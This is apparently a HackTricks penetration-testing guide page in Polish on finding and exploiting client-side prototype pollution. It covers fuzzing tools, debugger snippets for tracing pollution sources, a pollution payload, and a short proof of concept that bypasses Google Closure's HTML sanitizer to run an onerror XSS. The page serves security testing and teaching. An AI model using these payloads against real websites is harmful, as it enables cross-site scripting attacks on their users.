Client Side Prototype Pollution

Wsparcie dla HackTricks

Odkrywanie za pomocą automatycznych narzędzi

Narzędzia https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap i https://github.com/kosmosec/proto-find mogą być używane do znajdowania podatności na zanieczyszczenie prototypu.

Ponadto, możesz również użyć rozszerzenia przeglądarki PPScan do automatycznego skanowania stron, które odwiedzasz w poszukiwaniu podatności na zanieczyszczenie prototypu.

Debugowanie, gdzie używana jest właściwość

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Znalezienie przyczyny zanieczyszczenia prototypu

Gdy luka w zanieczyszczeniu prototypu zostanie zidentyfikowana przez którykolwiek z narzędzi, a kod nie jest zbyt skomplikowany, możesz znaleźć lukę, przeszukując słowa kluczowe takie jak location.hash, decodeURIComponent lub location.search w Narzędziach Dewelopera Chrome. Takie podejście pozwala na zlokalizowanie wrażliwej sekcji kodu JavaScript.

Dla większych i bardziej złożonych baz kodu, prostą metodą na odkrycie wrażliwego kodu są następujące kroki:

  1. Użyj narzędzia do zidentyfikowania luki i uzyskaj ładunek zaprojektowany do ustawienia właściwości w konstruktorze. Przykład podany przez ppmap może wyglądać następująco: constructor[prototype][ppmap]=reserved.

  2. Ustaw punkt przerwania na pierwszej linii kodu JavaScript, która zostanie wykonana na stronie. Odśwież stronę z ładunkiem, wstrzymując wykonanie w tym punkcie przerwania.

  3. Gdy wykonanie JavaScript jest wstrzymane, wykonaj następujący skrypt w konsoli JS. Ten skrypt zasygnalizuje, kiedy właściwość 'ppmap' zostanie utworzona, co pomoże w zlokalizowaniu jej pochodzenia:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Wróć do zakładki Sources i wybierz „Wznów wykonywanie skryptu”. JavaScript będzie kontynuował wykonywanie, a właściwość 'ppmap' zostanie zanieczyszczona zgodnie z oczekiwaniami. Wykorzystanie podanego fragmentu ułatwia identyfikację dokładnej lokalizacji, w której właściwość 'ppmap' jest zanieczyszczona. Analizując Call Stack, można zaobserwować różne stosy, w których wystąpiło zanieczyszczenie.

Decydując, który stos zbadać, często warto celować w stosy związane z plikami bibliotek JavaScript, ponieważ zanieczyszczenie prototypu często występuje w tych bibliotekach. Zidentyfikuj odpowiedni stos, sprawdzając jego powiązanie z plikami bibliotek (widoczne po prawej stronie, podobnie jak na podanym obrazie). W scenariuszach z wieloma stosami, takimi jak te na liniach 4 i 6, logicznym wyborem jest stos na linii 4, ponieważ reprezentuje on początkowe wystąpienie zanieczyszczenia, a tym samym pierwotną przyczynę podatności. Kliknięcie na stos przeniesie cię do podatnego kodu.

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

Znajdowanie gadżetów skryptowych

Gadżet to kod, który będzie nadużywany po odkryciu podatności PP.

Jeśli aplikacja jest prosta, możemy szukać słów kluczowych takich jak srcdoc/innerHTML/iframe/createElement i przeglądać kod źródłowy, aby sprawdzić, czy prowadzi do wykonania javascriptu. Czasami wspomniane techniki mogą w ogóle nie znaleźć gadżetów. W takim przypadku czysta analiza kodu źródłowego ujawnia kilka ciekawych gadżetów, jak w poniższym przykładzie.

Przykład znajdowania gadżetu PP w kodzie biblioteki Mithil

Sprawdź ten artykuł: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Rekompilacja ładunków dla podatnych bibliotek

Ominięcie sanitariuszy HTML za pomocą PP

To badanie pokazuje gadżety PP do użycia w celu ominięcia sanitizacji zapewnianej przez niektóre biblioteki sanitariuszy HTML:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Odniesienia

Wsparcie HackTricks

Last updated